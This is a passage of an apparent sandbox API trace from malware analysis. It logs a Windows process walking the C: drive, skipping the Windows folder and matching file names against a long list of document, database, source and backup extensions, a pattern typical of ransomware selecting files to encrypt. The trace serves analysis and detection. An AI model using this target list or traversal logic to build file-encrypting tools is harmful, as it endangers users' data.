lstrlenW (lpString=".cr2") returned 4 [0195.064] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".crt") returned 4 [0195.064] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".crw") returned 4 [0195.064] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".cs") returned 3 [0195.064] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0195.064] lstrlenW (lpString=".css") returned 4 [0195.064] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".csv") returned 4 [0195.064] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".cub") returned 4 [0195.065] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dae") returned 4 [0195.065] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dat") returned 4 [0195.065] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".db") returned 3 [0195.065] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0195.065] lstrlenW (lpString=".dbf") returned 4 [0195.065] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dbx") returned 4 [0195.065] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dc3") returned 4 [0195.065] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dcm") returned 4 [0195.065] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dcr") returned 4 [0195.065] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".der") returned 4 [0195.065] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dib") returned 4 [0195.065] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dic") returned 4 [0195.065] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".dif") returned 4 [0195.065] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0195.065] lstrlenW (lpString=".divx") returned 5 [0195.065] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0195.065] lstrlenW (lpString=".djvu") returned 5 [0195.065] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0195.066] lstrlenW (lpString=".dng") returned 4 [0195.066] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".doc") returned 4 [0195.066] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".docm") returned 5 [0195.066] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0195.066] lstrlenW (lpString=".docx") returned 5 [0195.066] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0195.066] lstrlenW (lpString=".dot") returned 4 [0195.066] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".dotm") returned 5 [0195.066] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0195.066] lstrlenW (lpString=".dotx") returned 5 [0195.066] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0195.066] lstrlenW (lpString=".dpx") returned 4 [0195.066] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".dqy") returned 4 [0195.066] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".dsn") returned 4 [0195.066] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".dt") returned 3 [0195.066] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0195.066] lstrlenW (lpString=".dtd") returned 4 [0195.066] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".dwg") returned 4 [0195.066] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".dwt") returned 4 [0195.066] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0195.066] lstrlenW (lpString=".dx") returned 3 [0195.067] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0195.067] lstrlenW (lpString=".dxf") returned 4 [0195.067] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".edml") returned 5 [0195.067] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0195.067] lstrlenW (lpString=".efd") returned 4 [0195.067] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".elf") returned 4 [0195.067] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".emf") returned 4 [0195.067] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".emz") returned 4 [0195.067] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".epf") returned 4 [0195.067] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".eps") returned 4 [0195.067] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".epsf") returned 5 [0195.067] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0195.067] lstrlenW (lpString=".epsp") returned 5 [0195.067] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0195.067] lstrlenW (lpString=".erf") returned 4 [0195.067] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".exr") returned 4 [0195.067] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".f4v") returned 4 [0195.067] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0195.067] lstrlenW (lpString=".fido") returned 5 [0195.067] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0195.068] lstrlenW (lpString=".flm") returned 4 [0195.068] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0195.068] lstrlenW (lpString=".flv") returned 4 [0195.068] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0195.068] lstrlenW (lpString=".frm") returned 4 [0195.068] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0195.068] lstrlenW (lpString=".fxg") returned 4 [0195.068] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0195.068] lstrlenW (lpString=".geo") returned 4 [0195.068] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0195.068] lstrlenW (lpString=".gif") returned 4 [0195.068] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0195.068] lstrlenW (lpString=".grs") returned 4 [0195.068] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0195.068] lstrlenW (lpString=".gz") returned 3 [0195.068] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0195.068] lstrlenW (lpString=".h") returned 2 [0195.068] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0195.069] lstrlenW (lpString=".hdr") returned 4 [0195.069] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".hpp") returned 4 [0195.069] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".hta") returned 4 [0195.069] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".htc") returned 4 [0195.069] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".htm") returned 4 [0195.069] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".html") returned 5 [0195.069] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0195.069] lstrlenW (lpString=".icb") returned 4 [0195.069] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".ics") returned 4 [0195.069] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".iff") returned 4 [0195.069] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".inc") returned 4 [0195.069] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0195.069] lstrlenW (lpString=".indd") returned 5 [0195.069] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0195.069] lstrlenW (lpString=".ini") returned 4 [0195.069] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0195.069] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0195.069] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.070] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0195.070] FindClose (in: hFindFile=0x5410b0 | out: hFindFile=0x5410b0) returned 1 [0195.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4f0000) returned 1 [0195.070] FindNextFileW (in: hFindFile=0x541070, lpFindFileData=0x351fd00 | out: lpFindFileData=0x351fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0195.071] lstrlenW (lpString="C:\\Boot") returned 7 [0195.071] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0195.071] lstrlenW (lpString="Boot") returned 4 [0195.071] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0195.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0195.071] lstrlenW (lpString="C:\\Boot") returned 7 [0195.071] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410b0 [0195.071] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.071] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0195.071] lstrlenW (lpString="BCD") returned 3 [0195.071] lstrlenW (lpString=".1cd") returned 4 [0195.071] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0195.071] lstrlenW (lpString=".3ds") returned 4 [0195.071] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0195.071] lstrlenW (lpString=".3fr") returned 4 [0195.071] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0195.071] lstrlenW (lpString=".3g2") returned 4 [0195.071] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0195.071] lstrlenW (lpString=".3gp") returned 4 [0195.071] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".7z") returned 3 [0195.072] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0195.072] lstrlenW (lpString=".accda") returned 6 [0195.072] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".accdb") returned 6 [0195.072] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".accdc") returned 6 [0195.072] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".accde") returned 6 [0195.072] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".accdt") returned 6 [0195.072] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".accdw") returned 6 [0195.072] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".adb") returned 4 [0195.072] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".adp") returned 4 [0195.072] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".ai") returned 3 [0195.072] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0195.072] lstrlenW (lpString=".ai3") returned 4 [0195.072] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".ai4") returned 4 [0195.072] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".ai5") returned 4 [0195.072] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".ai6") returned 4 [0195.072] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".ai7") returned 4 [0195.072] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".ai8") returned 4 [0195.072] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0195.072] lstrlenW (lpString=".anim") returned 5 [0195.073] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".arw") returned 4 [0195.073] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".as") returned 3 [0195.073] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0195.073] lstrlenW (lpString=".asa") returned 4 [0195.073] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".asc") returned 4 [0195.073] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".ascx") returned 5 [0195.073] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".asm") returned 4 [0195.073] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".asmx") returned 5 [0195.073] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".asp") returned 4 [0195.073] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".aspx") returned 5 [0195.073] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".asr") returned 4 [0195.073] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".asx") returned 4 [0195.073] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".avi") returned 4 [0195.073] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".avs") returned 4 [0195.073] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".backup") returned 7 [0195.073] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".bak") returned 4 [0195.073] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0195.073] lstrlenW (lpString=".bay") returned 4 [0195.073] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".bd") returned 3 [0195.074] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0195.074] lstrlenW (lpString=".bin") returned 4 [0195.074] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".bmp") returned 4 [0195.074] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".bz2") returned 4 [0195.074] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".c") returned 2 [0195.074] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0195.074] lstrlenW (lpString=".cdr") returned 4 [0195.074] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".cer") returned 4 [0195.074] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".cf") returned 3 [0195.074] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0195.074] lstrlenW (lpString=".cfc") returned 4 [0195.074] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".cfm") returned 4 [0195.074] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".cfml") returned 5 [0195.074] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".cfu") returned 4 [0195.074] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".chm") returned 4 [0195.074] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".cin") returned 4 [0195.074] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0195.074] lstrlenW (lpString=".class") returned 6 [0195.074] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".clx") returned 4 [0195.075] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".config") returned 7 [0195.075] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".cpp") returned 4 [0195.075] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".cr2") returned 4 [0195.075] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".crt") returned 4 [0195.075] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".crw") returned 4 [0195.075] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".cs") returned 3 [0195.075] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0195.075] lstrlenW (lpString=".css") returned 4 [0195.075] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".csv") returned 4 [0195.075] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".cub") returned 4 [0195.075] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".dae") returned 4 [0195.075] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".dat") returned 4 [0195.075] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".db") returned 3 [0195.075] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0195.075] lstrlenW (lpString=".dbf") returned 4 [0195.075] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0195.075] lstrlenW (lpString=".dbx") returned 4 [0195.076] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dc3") returned 4 [0195.076] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dcm") returned 4 [0195.076] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dcr") returned 4 [0195.076] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".der") returned 4 [0195.076] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dib") returned 4 [0195.076] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dic") returned 4 [0195.076] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dif") returned 4 [0195.076] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".divx") returned 5 [0195.076] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".djvu") returned 5 [0195.076] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dng") returned 4 [0195.076] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".doc") returned 4 [0195.076] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".docm") returned 5 [0195.076] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".docx") returned 5 [0195.076] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0195.076] lstrlenW (lpString=".dot") returned 4 [0195.076] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dotm") returned 5 [0195.077] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dotx") returned 5 [0195.077] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dpx") returned 4 [0195.077] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dqy") returned 4 [0195.077] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dsn") returned 4 [0195.077] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dt") returned 3 [0195.077] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0195.077] lstrlenW (lpString=".dtd") returned 4 [0195.077] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dwg") returned 4 [0195.077] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dwt") returned 4 [0195.077] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".dx") returned 3 [0195.077] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0195.077] lstrlenW (lpString=".dxf") returned 4 [0195.077] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".edml") returned 5 [0195.077] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".efd") returned 4 [0195.077] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0195.077] lstrlenW (lpString=".elf") returned 4 [0195.077] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".emf") returned 4 [0195.078] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".emz") returned 4 [0195.078] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".epf") returned 4 [0195.078] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".eps") returned 4 [0195.078] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".epsf") returned 5 [0195.078] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".epsp") returned 5 [0195.078] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".erf") returned 4 [0195.078] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".exr") returned 4 [0195.078] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".f4v") returned 4 [0195.078] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".fido") returned 5 [0195.078] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".flm") returned 4 [0195.078] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".flv") returned 4 [0195.078] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0195.078] lstrlenW (lpString=".frm") returned 4 [0195.079] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0195.079] lstrlenW (lpString=".fxg") returned 4 [0195.079] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0195.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.079] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.079] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.079] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.080] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.081] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, 